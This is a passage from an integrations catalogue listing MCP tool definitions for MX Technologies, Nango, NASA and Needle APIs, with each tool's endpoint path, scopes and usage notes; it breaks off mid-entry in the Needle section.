api. mxtechnologies_put_users_by_user_guid_managed_members_by_member_guid_accounts_by_account_guid_transactions_by_transaction_guid (write) — Deprecated by MX. Update managed transaction. Use this endpoint to update the attributes of the specified partner_managed `transaction`. <Warning> This endpoint has been deprecated. For more information, reference the Migration guide. </Warning> via PUT /users/{user_guid}/managed_members/{member_guid}/accounts/{account_guid}/transactions/{transaction_guid} PUT /api/v1/mxtechnologies/users/{user_guid}/managed_members/{member_guid}/accounts/{account_guid}/transactions/{transaction_guid}. Scopes: api. mxtechnologies_put_users_by_user_guid_spending_plans_by_spending_plan_guid_iterations_current_iteration_items_by_iteration_item_guid (write) — Update a spending plan iteration item. Use this endpoint to update an existing `spending_plan_iteration_item`. via PUT /users/{user_guid}/spending_plans/{spending_plan_guid}/iterations/current/iteration_items/{iteration_item_guid} PUT /api/v1/mxtechnologies/users/{user_guid}/spending_plans/{spending_plan_guid}/iterations/current/iteration_items/{iteration_item_guid}. Scopes: api. mxtechnologies_put_users_by_user_guid_taggings_by_tagging_guid (write) — Update tagging. Use this endpoint to update a tagging. via PUT /users/{user_guid}/taggings/{tagging_guid} PUT /api/v1/mxtechnologies/users/{user_guid}/taggings/{tagging_guid}. Scopes: api. mxtechnologies_put_users_by_user_guid_tags_by_tag_guid (write) — Update tag. Use this endpoint to update the name of a specific tag according to its unique GUID. via PUT /users/{user_guid}/tags/{tag_guid} PUT /api/v1/mxtechnologies/users/{user_guid}/tags/{tag_guid}. Scopes: api. mxtechnologies_put_users_by_user_guid_transaction_rules_by_transaction_rule_guid (write) — Update transaction rule. Use this endpoint to update the attributes of a specific transaction rule based on its unique GUID. The API will respond with the updated transaction_rule object. Any attributes not provided will be left unchanged. For more information about transaction rules, see the Transaction Rules Guide. via PUT /users/{user_guid}/transaction_rules/{transaction_rule_guid} PUT /api/v1/mxtechnologies/users/{user_guid}/transaction_rules/{transaction_rule_guid}. Scopes: api. mxtechnologies_put_users_by_user_guid_transactions_by_transaction_guid (write) — Update transaction. Use this endpoint to update the `description` of a specific transaction according to its unique GUID. via PUT /users/{user_guid}/transactions/{transaction_guid} PUT /api/v1/mxtechnologies/users/{user_guid}/transactions/{transaction_guid}. Scopes: api. mxtechnologies_put_users_by_user_identifier (write) — Update user. Use this endpoint to update the attributes of the specified user. via PUT /users/{user_identifier} PUT /api/v1/mxtechnologies/users/{user_identifier}. Scopes: api. mxtechnologies_put_users_by_user_identifier_members_by_member_identifier (write) — Update member. Use this endpoint to update a members attributes. Only the credentials, id, and metadata parameters can be updated. To get a list of the required credentials for the member, use the list member credentials endpoint. via PUT /users/{user_identifier}/members/{member_identifier} PUT /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}. Scopes: api. mxtechnologies_put_users_by_user_identifier_members_by_member_identifier_accounts_by_account_identifier (write) — Update account by member. This endpoint allows you to update certain attributes of an `account` resource, including manual accounts. For manual accounts, you can update every field listed. For aggregated accounts, you can only update `is_business`, `is_hidden` and `metadata`. via PUT /users/{user_identifier}/members/{member_identifier}/accounts/{account_identifier} PUT /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}/accounts/{account_identifier}. Scopes: api. mxtechnologies_put_users_by_user_identifier_members_by_member_identifier_accounts_by_account_identifier_transactions_by_transaction_identifier (write) — Update transaction by account. Use this endpoint to update the `description` of a specific transaction according to its unique GUID. via PUT /users/{user_identifier}/members/{member_identifier}/accounts/{account_identifier}/transactions/{transaction_identifier} PUT /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}/accounts/{account_identifier}/transactions/{transaction_identifier}. Scopes: api. mxtechnologies_put_users_by_user_identifier_members_by_member_identifier_resume (write) — Resume aggregation. This endpoint answers the challenges needed when a member has been challenged by multi-factor authentication. via PUT /users/{user_identifier}/members/{member_identifier}/resume PUT /api/v1/mxtechnologies/users/{user_identifier}/members/{member_identifier}/resume. Scopes: api. mxtechnologies_put_users_by_user_identifier_monthly_cash_flow_profile (write) — Update monthly cash flow profile. Use this endpoint to update the attributes of a `monthly_cash_flow_profile`. via PUT /users/{user_identifier}/monthly_cash_flow_profile PUT /api/v1/mxtechnologies/users/{user_identifier}/monthly_cash_flow_profile. Scopes: api. ================================================================================ ## Nango URL: https://www.agenticfabriq.com/integrations/nango Section: Integrated Tools Nango — 35 MCP tools Provider key: nango. Scopes: environment:actions:execute, environment:agent_sessions:write, environment:connect_sessions:write, environment:connections:delete, environment:connections:list, environment:connections:update, environment:functions:delete, environment:functions:invocations, environment:functions:list, environment:functions:read, environment:integrations:create, environment:integrations:delete, environment:integrations:list, environment:integrations:list_functions, environment:integrations:read, environment:integrations:update, environment:proxy, environment:records:read, environment:records:write, environment:syncs:execute, environment:syncs:read, environment:syncs:update. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. nango_delete_connections_by_connectionid (write, destructive) — Permanently delete an end-user connection and the third-party credential Nango holds for it. Syncs for that connection stop and its records are removed; the end user must re-authorise to restore it. DELETE /api/v1/nango/connections/{connectionId}. Scopes: environment:connections:delete. nango_delete_integrations_by_uniquekey (write, destructive) — Permanently delete an integration and every connection that belongs to it. The end users behind those connections will have to re-authorise. DELETE /api/v1/nango/integrations/{uniqueKey}. Scopes: environment:integrations:delete. nango_delete_integrations_by_uniquekey_functions_by_name (write, destructive) — Delete one deployed function from an integration. A function that was deployed by the Nango CLI cannot be deleted here -- the API answers `function_managed_by_deploy`. DELETE /api/v1/nango/integrations/{uniqueKey}/functions/{name}. Scopes: environment:functions:delete. nango_delete_sessions_by_sessionid (write, destructive) — End an agent session immediately, revoking its session token and MCP URL. Anything the agent was mid-way through stops having access. DELETE /api/v1/nango/sessions/{sessionId}. Scopes: environment:agent_sessions:write. nango_get_action_by_actionid (read) — Fetch the result of an action that was triggered with run_async. Poll this with the id trigger_action returned until the action has finished. GET /api/v1/nango/action/{actionId}. Scopes: environment:actions:execute. nango_get_connections (read) — List the end-user connections in this Nango environment, optionally filtered by connection id, integration, end user or free text. Returns each connection's id, integration, provider, end user, tags and any active errors -- never the stored third-party credential. GET /api/v1/nango/connections. Scopes: environment:connections:list. nango_get_functions_invocations_by_invocationid (read) — Fetch the result of a function invocation by its id, for invocations that were queued rather than awaited. GET /api/v1/nango/functions/invocations/{invocationId}. Scopes: environment:functions:invocations. nango_get_integrations (read) — List the integrations configured in this Nango environment -- the customer's own connected apps, each with its unique_key, provider, display name, logo and webhook-forwarding setting. GET /api/v1/nango/integrations. Scopes: environment:integrations:list. nango_get_integrations_by_uniquekey (read) — Fetch one integration by its unique key: provider, display name, webhook-forwarding setting, and which credential and connection-config fields are already set at the integration level (names only, never values). GET /api/v1/nango/integrations/{uniqueKey}. Scopes: environment:integrations:read. nango_get_integrations_by_uniquekey_functions (read) — List the sync, action and on-event functions deployed for one integration, paged and filterable by type or name. GET /api/v1/nango/integrations/{uniqueKey}/functions. Scopes: environment:functions:list. nango_get_integrations_by_uniquekey_functions_by_name (read) — Fetch one deployed function's definition: its type, trigger, models, frequency and input/output schemas. GET /api/v1/nango/integrations/{uniqueKey}/functions/{name}. Scopes: environment:functions:read. nango_get_integrations_by_uniquekey_functions_by_name_code (read) — Return the TypeScript source of one deployed function. Useful for reviewing or debugging what a sync actually fetches. GET /api/v1/nango/integrations/{uniqueKey}/functions/{name}/code. Scopes: environment:functions:read. nango_get_providers (read) — List every API provider Nango can integrate with (1000+), with each provider's auth mode, categories, proxy base URL and default scopes. This is Nango's catalogue, not the customer's own integrations -- use nango_get_integrations for those. Requires no key scope. GET /api/v1/nango/providers. Scopes: none. nango_get_providers_by_provider (read) — Fetch one provider's full configuration from Nango's catalogue: auth mode, authorization and token URLs, proxy base URL, available and default scopes, and any connection-configuration fields its integrations require. Requires no key scope. GET /api/v1/nango/providers/{provider}. Scopes: none. nango_get_providers_by_provider_templates (read) — List the pre-built sync and action function templates Nango publishes for one provider, with each template's name, description, required scopes and input/output schema. Requires no key scope. GET /api/v1/nango/providers/{provider}/templates. Scopes: none. nango_get_proxy_by_anypath (read) — Issue a GET against the third-party API behind one of the customer's connections, with Nango attaching (and refreshing) the stored credential server-side. The credential is never returned to the caller. Reads only -- the proxy's write verbs are not exposed. What a GET does is the destination API's business, though: a few APIs mutate on GET. GET /api/v1/nango/proxy/{anyPath}. Scopes: environment:proxy. nango_get_records (read) — Read the records one sync has written for a connection, as a cursor-paged list. This is how synced third-party data is consumed: filter by change type or modification time to fetch only what moved since the last read. GET /api/v1/nango/records. Scopes: environment:records:read. nango_get_scripts_config (read) — Return every sync and action function deployed in this environment, with their models, schedules and input/output schemas -- the whole integration surface in one read. `format=openai` returns the actions as OpenAI function definitions. GET /api/v1/nango/scripts/config. Scopes: environment:integrations:list_functions. nango_get_sync_status (read) — Report the status of one or more syncs for a connection: schedule state, last run result, next run times and record counts. The first place to look when data is stale. GET /api/v1/nango/sync/status. Scopes: environment:syncs:read. nango_patch_connections_by_connectionid (write) — Update a connection's end-user record, tags, or webhook URL override. Does not touch the stored credential. PATCH /api/v1/nango/connections/{connectionId}. Scopes: environment:connections:update. nango_patch_connections_metadata (write) — MERGE keys into the metadata stored on one or more connections, leaving keys you do not mention untouched. Use set_connection_metadata to replace the whole object. PATCH /api/v1/nango/connections/metadata. Scopes: environment:connections:update. nango_patch_integrations_by_uniquekey (write) — Rename an integration, change its display name, or change whether it forwards webhooks. Credentials are not accepted here -- change them in the Nango dashboard. PATCH /api/v1/nango/integrations/{uniqueKey}. Scopes: environment:integrations:update. nango_patch_records_prune (write, destructive) — Permanently delete synced records for a connection up to a cursor. Used to reclaim storage on a model that has grown; the records are gone and only a full re-sync brings them back. PATCH /api/v1/nango/records/prune. Scopes: environment:records:write. nango_post_action_trigger (write) — Run one of the integration's action functions against a connection and return its result -- the write path for a Nango integration (create a contact, send a message). Set run_async to queue it and poll get_action_result instead of waiting. POST /api/v1/nango/action/trigger. Scopes: environment:actions:execute. nango_post_connect_sessions (write) — Mint a short-lived Connect session for one end user and return a `connect_link` they can open to authorise an integration. This is the supported way to create a connection: the end user's own credential is entered in Nango's hosted UI and never passes through this tool. POST /api/v1/nango/connect/sessions. Scopes: environment:connect_sessions:write. nango_post_connect_sessions_reconnect (write) — Mint a Connect session that re-authorises an EXISTING connection whose credential has expired or been revoked, and return the link for the end user to open. Keeps the connection's id, syncs and records. POST /api/v1/nango/connect/sessions/reconnect. Scopes: environment:connect_sessions:write. nango_post_connections_metadata (write) — REPLACE the metadata stored on one or more connections. Metadata is the arbitrary JSON a sync or action function reads at runtime (the field list to fetch, a cursor, a customer-specific setting). This overwrites whatever was there -- use update_connection_metadata to merge. POST /api/v1/nango/connections/metadata. Scopes: environment:connections:update. nango_post_functions_invocations (write) — Invoke an already-deployed function by name against a connection and return its result. The newer, general form of trigger_action -- it takes a function name and input, never source code. POST /api/v1/nango/functions/invocations. Scopes: environment:functions:invocations. nango_post_integrations (write) — Create a new integration in this Nango environment for one of the providers in Nango's catalogue. Credentials for the integration are NOT accepted here -- set the OAuth client id/secret in the Nango dashboard. POST /api/v1/nango/integrations. Scopes: environment:integrations:create. nango_post_integrations_quickstart (write) — Create an integration pre-wired with Nango's own shared OAuth credentials for the provider, so it can be connected without registering a developer app first. Intended for evaluation; use create_integration plus the dashboard for production credentials. POST /api/v1/nango/integrations/quickstart. Scopes: environment:integrations:create. nango_post_sessions (write) — Create a Nango agent session and return its MCP URL and session token, scoped to a chosen set of the customer's connections and tools. This is how an AI agent is given time-boxed, toolset-limited access to the third-party APIs Nango holds credentials for. POST /api/v1/nango/sessions. Scopes: environment:agent_sessions:write. nango_post_sync_pause (write) — Pause the schedule of one or more syncs. Existing records stay; no new runs happen until start_sync resumes them. POST /api/v1/nango/sync/pause. Scopes: environment:syncs:execute. nango_post_sync_start (write) — Resume the SCHEDULE of one or more paused syncs, so they run on their frequency again. Use trigger_sync for a single run now. POST /api/v1/nango/sync/start. Scopes: environment:syncs:execute. nango_post_sync_trigger (write) — Run one or more syncs now, outside their schedule. By default the run is incremental; `opts.reset` re-fetches everything from scratch. POST /api/v1/nango/sync/trigger. Scopes: environment:syncs:execute. nango_put_sync_update_connection_frequency (write) — Override how often one sync runs for one connection, or clear the override by passing a null frequency to fall back to the sync's own schedule. PUT /api/v1/nango/sync/update-connection-frequency. Scopes: environment:syncs:update. ================================================================================ ## NASA URL: https://www.agenticfabriq.com/integrations/nasa Section: Integrated Tools NASA — 54 MCP tools Provider key: nasa. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. nasa_get_api_tle (read) — Search current two-line element sets (orbital elements for Earth-orbiting objects) by satellite name. THIRD-PARTY SERVICE: this is served by tle.ivanstanojevic.me, an independent mirror listed in NASA's API catalogue but neither hosted nor operated by NASA; it republishes CelesTrak data daily. No NASA API key is sent to it. It rate-limits aggressively and has answered 403 and 508 under light use via GET https://tle.ivanstanojevic.me/api/tle GET /api/v1/nasa/api/tle. Scopes: api. nasa_get_api_tle_by_q (read) — Retrieve one two-line element set by NORAD satellite number (for example 25544, the International Space Station). THIRD-PARTY SERVICE: served by tle.ivanstanojevic.me, an independent mirror listed in NASA's API catalogue but neither hosted nor operated by NASA, republishing CelesTrak data. No NASA API key is sent to it via GET https://tle.ivanstanojevic.me/api/tle/{q} GET /api/v1/nasa/api/tle/{q}. Scopes: api. nasa_get_api_v3_categories (read) — List EONET's event categories -- the `id` values (`wildfires`, `volcanoes`, `severeStorms` and the rest) that the event listings filter on via GET https://eonet.gsfc.nasa.gov/api/v3/categories GET /api/v1/nasa/api/v3/categories. Scopes: api. nasa_get_api_v3_categories_by_category (read) — List the EONET natural events in one category, with the same filters as the events listing via GET https://eonet.gsfc.nasa.gov/api/v3/categories/{category} GET /api/v1/nasa/api/v3/categories/{category}. Scopes: api. nasa_get_api_v3_events (read) — List curated natural events -- wildfires, storms, volcanoes, sea and lake ice, dust and haze -- from EONET, the Earth Observatory Natural Event Tracker, each with its categories, sources and dated geometries via GET https://eonet.gsfc.nasa.gov/api/v3/events GET /api/v1/nasa/api/v3/events. Scopes: api. nasa_get_api_v3_events_geojson (read) — The same EONET natural events as the events listing, rendered as a GeoJSON FeatureCollection for mapping clients via GET https://eonet.gsfc.nasa.gov/api/v3/events/geojson GET /api/v1/nasa/api/v3/events/geojson. Scopes: api. nasa_get_api_v3_layers (read) — List the EONET web-service image layers (WMS, WMTS and friends) that can be paired with an event, grouped by category via GET https://eonet.gsfc.nasa.gov/api/v3/layers GET /api/v1/nasa/api/v3/layers. Scopes: api. nasa_get_api_v3_layers_by_category (read) — List the EONET web-service image layers associated with one event category via GET https://eonet.gsfc.nasa.gov/api/v3/layers/{category} GET /api/v1/nasa/api/v3/layers/{category}. Scopes: api. nasa_get_asset_by_nasa_id (read) — Retrieve the manifest for one NASA Image and Video Library asset: the list of media files it holds and the URL of each via GET https://images-api.nasa.gov/asset/{nasa_id} GET /api/v1/nasa/asset/{nasa_id}. Scopes: api. nasa_get_captions_by_nasa_id (read) — Retrieve the location of a VIDEO asset's caption file. Only video assets have one: an image id answers 400 'Captions require video', and an unknown id answers 404 via GET https://images-api.nasa.gov/captions/{nasa_id} GET /api/v1/nasa/captions/{nasa_id}. Scopes: api. nasa_get_cgi_bin_nstedapi_nph_nstedapi (read) — Run a table query against NASA's Exoplanet Archive at IPAC/Caltech: confirmed planets, Kepler objects of interest and the other hosted tables, filtered by a SQL-style `where` clause. The service reports an invalid table or clause in a 200 body beginning `ERROR`, not with an HTTP error status, so read the body via GET https://exoplanetarchive.ipac.caltech.edu/cgi-bin/nstedAPI/nph-nstedAPI GET /api/v1/nasa/cgi-bin/nstedAPI/nph-nstedAPI. Scopes: api. nasa_get_donki_cme (read) — List coronal mass ejections with their observing instruments and analyses. Part of DONKI, the Space Weather Database Of Notifications, Knowledge, Information, which chronicles the Space Weather Research Center's daily analyses via GET https://api.nasa.gov/DONKI/CME GET /api/v1/nasa/DONKI/CME. Scopes: api. nasa_get_donki_cmeanalysis (read) — List the measured analyses of coronal mass ejections -- speed, direction, half angle and arrival modelling. Part of DONKI, the Space Weather Database Of Notifications, Knowledge, Information, which chronicles the Space Weather Research Center's daily analyses via GET https://api.nasa.gov/DONKI/CMEAnalysis GET /api/v1/nasa/DONKI/CMEAnalysis. Scopes: api. nasa_get_donki_flr (read) — List solar flares with their class, peak time and source location. Part of DONKI, the Space Weather Database Of Notifications, Knowledge, Information, which chronicles the Space Weather Research Center's daily analyses via GET https://api.nasa.gov/DONKI/FLR GET /api/v1/nasa/DONKI/FLR. Scopes: api. nasa_get_donki_gst (read) — List geomagnetic storms with their observed Kp indices and the solar events linked to them. Part of DONKI, the Space Weather Database Of Notifications, Knowledge, Information, which chronicles the Space Weather Research Center's daily analyses via GET https://api.nasa.gov/DONKI/GST GET /api/v1/nasa/DONKI/GST. Scopes: api. nasa_get_donki_hss (read) — List high-speed solar wind stream events. Part of DONKI, the Space Weather Database Of Notifications, Knowledge, Information, which chronicles the Space Weather Research Center's daily analyses via GET https://api.nasa.gov/DONKI/HSS GET /api/v1/nasa/DONKI/HSS. Scopes: api. nasa_get_donki_ips (read) — List interplanetary shocks with the spacecraft that observed each one. Part of DONKI, the Space Weather Database Of Notifications, Knowledge, Information, which chronicles the Space Weather Research Center's daily analyses via GET https://api.nasa.gov/DONKI/IPS GET /api/v1/nasa/DONKI/IPS. Scopes: api. nasa_get_donki_mpc (read) — List magnetopause crossing events. Part of DONKI, the Space Weather Database Of Notifications, Knowledge, Information, which chronicles the Space Weather Research Center's daily analyses via GET https://api.nasa.gov/DONKI/MPC GET /api/v1/nasa/DONKI/MPC. Scopes: api. nasa_get_donki_notifications (read) — List the notification messages the Space Weather Research Center issued. The window is capped at 30 days -- a wider request is silently narrowed to the 30 days ending at `endDate` -- and defaults to the last 7 days. Part of DONKI, the Space Weather Database Of Notifications, Knowledge, Information, which chronicles the Space Weather Research Center's daily analyses via GET https://api.nasa.gov/DONKI/notifications GET /api/v1/nasa/DONKI/notifications. Scopes: api. nasa_get_donki_rbe (read) — List radiation belt enhancement events. Part of DONKI, the Space Weather Database Of Notifications, Knowledge, Information, which chronicles the Space Weather Research Center's daily analyses via GET https://api.nasa.gov/DONKI/RBE GET /api/v1/nasa/DONKI/RBE. Scopes: api. nasa_get_donki_sep (read) — List solar energetic particle events and the instruments that saw them. Part of DONKI, the Space Weather Database Of Notifications, Knowledge, Information, which chronicles the Space Weather Research Center's daily analyses via GET https://api.nasa.gov/DONKI/SEP GET /api/v1/nasa/DONKI/SEP. Scopes: api. nasa_get_donki_wsaenlilsimulations (read) — List WSA+Enlil heliospheric model runs with their inputs and predicted shock arrivals. The window defaults to the last 7 days rather than the 30 the other DONKI services default to. Part of DONKI, the Space Weather Database Of Notifications, Knowledge, Information, which chronicles the Space Weather Research Center's daily analyses via GET https://api.nasa.gov/DONKI/WSAEnlilSimulations GET /api/v1/nasa/DONKI/WSAEnlilSimulations. Scopes: api. nasa_get_epic_api_enhanced (read) — List the DSCOVR EPIC enhanced-colour image metadata for the most recent date that has imagery via GET https://api.nasa.gov/EPIC/api/enhanced GET /api/v1/nasa/EPIC/api/enhanced. Scopes: api. nasa_get_epic_api_enhanced_all (read) — List every date that has DSCOVR EPIC enhanced-colour imagery, as objects carrying a `date` field via GET https://api.nasa.gov/EPIC/api/enhanced/all GET /api/v1/nasa/EPIC/api/enhanced/all. Scopes: api. nasa_get_epic_api_enhanced_available (read) — List every date that has DSCOVR EPIC enhanced-colour imagery, as a bare array of date strings. The same information as the `all` listing in a flatter shape via GET https://api.nasa.gov/EPIC/api/enhanced/available GET /api/v1/nasa/EPIC/api/enhanced/available. Scopes: api. nasa_get_epic_api_enhanced_date_by_date (read) — List the DSCOVR EPIC enhanced-colour image metadata captured on one calendar date via GET https://api.nasa.gov/EPIC/api/enhanced/date/{date} GET /api/v1/nasa/EPIC/api/enhanced/date/{date}. Scopes: api. nasa_get_epic_api_natural (read) — List the DSCOVR EPIC natural-colour image metadata for the most recent date that has imagery via GET https://api.nasa.gov/EPIC/api/natural GET /api/v1/nasa/EPIC/api/natural. Scopes: api. nasa_get_epic_api_natural_all (read) — List every date that has DSCOVR EPIC natural-colour imagery, as objects carrying a `date` field via GET https://api.nasa.gov/EPIC/api/natural/all GET /api/v1/nasa/EPIC/api/natural/all. Scopes: api. nasa_get_epic_api_natural_available (read) — List every date that has DSCOVR EPIC natural-colour imagery, as a bare array of date strings. The same information as the `all` listing in a flatter shape via GET https://api.nasa.gov/EPIC/api/natural/available GET /api/v1/nasa/EPIC/api/natural/available. Scopes: api. nasa_get_epic_api_natural_date_by_date (read) — List the DSCOVR EPIC natural-colour image metadata captured on one calendar date via GET https://api.nasa.gov/EPIC/api/natural/date/{date} GET /api/v1/nasa/EPIC/api/natural/date/{date}. Scopes: api. nasa_get_geode_py_ws_api_biospecimen_by_identifier (read) — Retrieve one biospecimen record from the NASA Open Science Data Repository, expanded. Biospecimen identifiers are numbers such as `24895` via GET https://osdr.nasa.gov/geode-py/ws/api/biospecimen/{identifier} GET /api/v1/nasa/geode-py/ws/api/biospecimen/{identifier}. Scopes: api. nasa_get_geode_py_ws_api_biospecimens (read) — List every biospecimen record in the NASA Open Science Data Repository. A biospecimen is a sample taken from a subject. Each row carries the URL of that record's own single-object endpoint, which is the input to the matching lookup tool via GET https://osdr.nasa.gov/geode-py/ws/api/biospecimens GET /api/v1/nasa/geode-py/ws/api/biospecimens. Scopes: api. nasa_get_geode_py_ws_api_experiment_by_identifier (read) — Retrieve one experiment record from the NASA Open Science Data Repository, expanded. Experiment identifiers look like `OS-118` via GET https://osdr.nasa.gov/geode-py/ws/api/experiment/{identifier} GET /api/v1/nasa/geode-py/ws/api/experiment/{identifier}. Scopes: api. nasa_get_geode_py_ws_api_experiments (read) — List every experiment record in the NASA Open Science Data Repository. An experiment is one investigation flown or run on the ground. Each row carries the URL of that record's own single-object endpoint, which is the input to the matching lookup tool via GET https://osdr.nasa.gov/geode-py/ws/api/experiments GET /api/v1/nasa/geode-py/ws/api/experiments. Scopes: api. nasa_get_geode_py_ws_api_hardware (read) — List every hardware record in the NASA Open Science Data Repository. Hardware is the flight equipment a payload used. Each row carries the URL of that record's own single-object endpoint, which is the input to the matching lookup tool via GET https://osdr.nasa.gov/geode-py/ws/api/hardware GET /api/v1/nasa/geode-py/ws/api/hardware. Scopes: api. nasa_get_geode_py_ws_api_hardware_by_identifier (read) — Retrieve one hardware record record from the NASA Open Science Data Repository, expanded. Hardware identifiers are NUMBERS in the listing (for example `133`), not the equipment's name -- a name answers 400 'Invalid document' via GET https://osdr.nasa.gov/geode-py/ws/api/hardware/{identifier} GET /api/v1/nasa/geode-py/ws/api/hardware/{identifier}. Scopes: api. nasa_get_geode_py_ws_api_mission_by_identifier (read) — Retrieve one mission record from the NASA Open Science Data Repository, expanded. Mission identifiers are flight names such as `SpaceX-12`, and the record carries aliases, dates and links to its vehicles and payloads via GET https://osdr.nasa.gov/geode-py/ws/api/mission/{identifier} GET /api/v1/nasa/geode-py/ws/api/mission/{identifier}. Scopes: api. nasa_get_geode_py_ws_api_missions (read) — List every mission record in the NASA Open Science Data Repository. A mission is a flight such as STS-40 or SpaceX-12. Each row carries the URL of that record's own single-object endpoint, which is the input to the matching lookup tool via GET https://osdr.nasa.gov/geode-py/ws/api/missions GET /api/v1/nasa/geode-py/ws/api/missions. Scopes: api. nasa_get_geode_py_ws_api_payload_by_identifier (read) — Retrieve one payload record from the NASA Open Science Data Repository, expanded. Payload identifiers are names such as `BIOCORE` via GET https://osdr.nasa.gov/geode-py/ws/api/payload/{identifier} GET /api/v1/nasa/geode-py/ws/api/payload/{identifier}. Scopes: api. nasa_get_geode_py_ws_api_payloads (read) — List every payload record in the NASA Open Science Data Repository. A payload is a flown experiment package. Each row carries the URL of that record's own single-object endpoint, which is the input to the matching lookup tool via GET https://osdr.nasa.gov/geode-py/ws/api/payloads GET /api/v1/nasa/geode-py/ws/api/payloads. Scopes: api. nasa_get_geode_py_ws_api_subject_by_identifier (read) — Retrieve one subject record from the NASA Open Science Data Repository, expanded. Subject identifiers are numbers such as `195` via GET https://osdr.nasa.gov/geode-py/ws/api/subject/{identifier} GET /api/v1/nasa/geode-py/ws/api/subject/{identifier}. Scopes: api. nasa_get_geode_py_ws_api_subjects (read) — List every subject record in the NASA Open Science Data Repository. A subject is an organism studied -- the mice, plants or microbes a study was run on. Each row carries the URL of that record's own single-object endpoint, which is the input to the matching lookup tool via GET https://osdr.nasa.gov/geode-py/ws/api/subjects GET /api/v1/nasa/geode-py/ws/api/subjects. Scopes: api. nasa_get_geode_py_ws_api_vehicle_by_identifier (read) — Retrieve one vehicle record from the NASA Open Science Data Repository, expanded. Vehicle identifiers are names such as `Columbia` via GET https://osdr.nasa.gov/geode-py/ws/api/vehicle/{identifier} GET /api/v1/nasa/geode-py/ws/api/vehicle/{identifier}. Scopes: api. nasa_get_geode_py_ws_api_vehicles (read) — List every vehicle record in the NASA Open Science Data Repository. A vehicle is the spacecraft or launcher flown. Each row carries the URL of that record's own single-object endpoint, which is the input to the matching lookup tool via GET https://osdr.nasa.gov/geode-py/ws/api/vehicles GET /api/v1/nasa/geode-py/ws/api/vehicles. Scopes: api. nasa_get_insight_weather (read) — Per-Sol weather summaries (temperature, wind and pressure) from NASA's InSight lander at Elysium Planitia on Mars, for the last seven available Sols. Values are recalculated as more data is downlinked, and whole sensors are missing for some Sols because the lander was managing its power budget via GET https://api.nasa.gov/insight_weather/ GET /api/v1/nasa/insight_weather. Scopes: api. nasa_get_metadata_by_nasa_id (read) — Retrieve the location of one asset's full metadata document. The reply is the URL of a JSON file on images-assets.nasa.gov, not the metadata itself via GET https://images-api.nasa.gov/metadata/{nasa_id} GET /api/v1/nasa/metadata/{nasa_id}. Scopes: api. nasa_get_neo_rest_v1_feed (read) — List near-Earth asteroids by their closest-approach date to Earth, with size, velocity and miss-distance for each approach. The data comes from the NASA JPL asteroid team via GET https://api.nasa.gov/neo/rest/v1/feed GET /api/v1/nasa/neo/rest/v1/feed. Scopes: api. nasa_get_neo_rest_v1_neo_browse (read) — Page through the whole near-Earth object data set, independent of any approach date via GET https://api.nasa.gov/neo/rest/v1/neo/browse GET /api/v1/nasa/neo/rest/v1/neo/browse. Scopes: api. nasa_get_neo_rest_v1_neo_by_asteroid_id (read) — Retrieve one near-Earth asteroid by its NASA JPL small-body SPK-ID, with its orbital elements and its full close-approach history via GET https://api.nasa.gov/neo/rest/v1/neo/{asteroid_id} GET /api/v1/nasa/neo/rest/v1/neo/{asteroid_id}. Scopes: api. nasa_get_osdr_data_osd_files_by_osd_study_ids (read) — List the data files of one or more Open Science Data Repository studies, with each file's category, size and download path. The `remote_url` in each row is relative: prefix it with https://osdr.nasa.gov to download via GET https://osdr.nasa.gov/osdr/data/osd/files/{OSD_STUDY_IDs} GET /api/v1/nasa/osdr/data/osd/files/{OSD_STUDY_IDs}. Scopes: api. nasa_get_osdr_data_osd_meta_by_osd_study_id (read) — Retrieve the complete ISA-Tab metadata for one Open Science Data Repository study: its investigation, studies, assays, protocols, factors and ontology references via GET https://osdr.nasa.gov/osdr/data/osd/meta/{OSD_STUDY_ID} GET /api/v1/nasa/osdr/data/osd/meta/{OSD_STUDY_ID}. Scopes: api. nasa_get_osdr_data_search (read) — Full-text and faceted search over Open Science Data Repository study metadata, and optionally over three federated omics databases. Answers the underlying Elasticsearch response, hits and all via GET https://osdr.nasa.gov/osdr/data/search GET /api/v1/nasa/osdr/data/search. Scopes: api. nasa_get_planetary_apod (read) — Retrieve the Astronomy Picture of the Day: its image or video URL, title, explanation and copyright. With no arguments this answers today's entry; a date, a date range or a random count each answer a different selection via GET https://api.nasa.gov/planetary/apod GET /api/v1/nasa/planetary/apod. Scopes: api. nasa_get_search (read) — Search the NASA Image and Video Library (images.nasa.gov) across images, video and audio. At least one search term is needed -- a request with no criteria answers 400 'Expected q text search parameter or other keywords' via GET https://images-api.nasa.gov/search GET /api/v1/nasa/search. Scopes: api. ================================================================================ ## Needle URL: https://www.agenticfabriq.com/integrations/needle Section: Integrated Tools Needle — 88 MCP tools Provider key: needle. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. needle_delete_campaigns_by_campaignid (write, destructive) — Archive a campaign so it stops and leaves the active list, via DELETE /api/v1/campaigns/{campaignId}. ONE-WAY THROUGH THIS API. It is spelled DELETE and named 'archive' because the campaign and its history survive -- but 'Update a campaign' accepts only `active` and `paused` for `status`, so nothing here can bring an archived campaign back. If the intent is to stop sending for now, set `status: "paused"` instead, which is reversible from this API; archive when the campaign is finished for good. DELETE 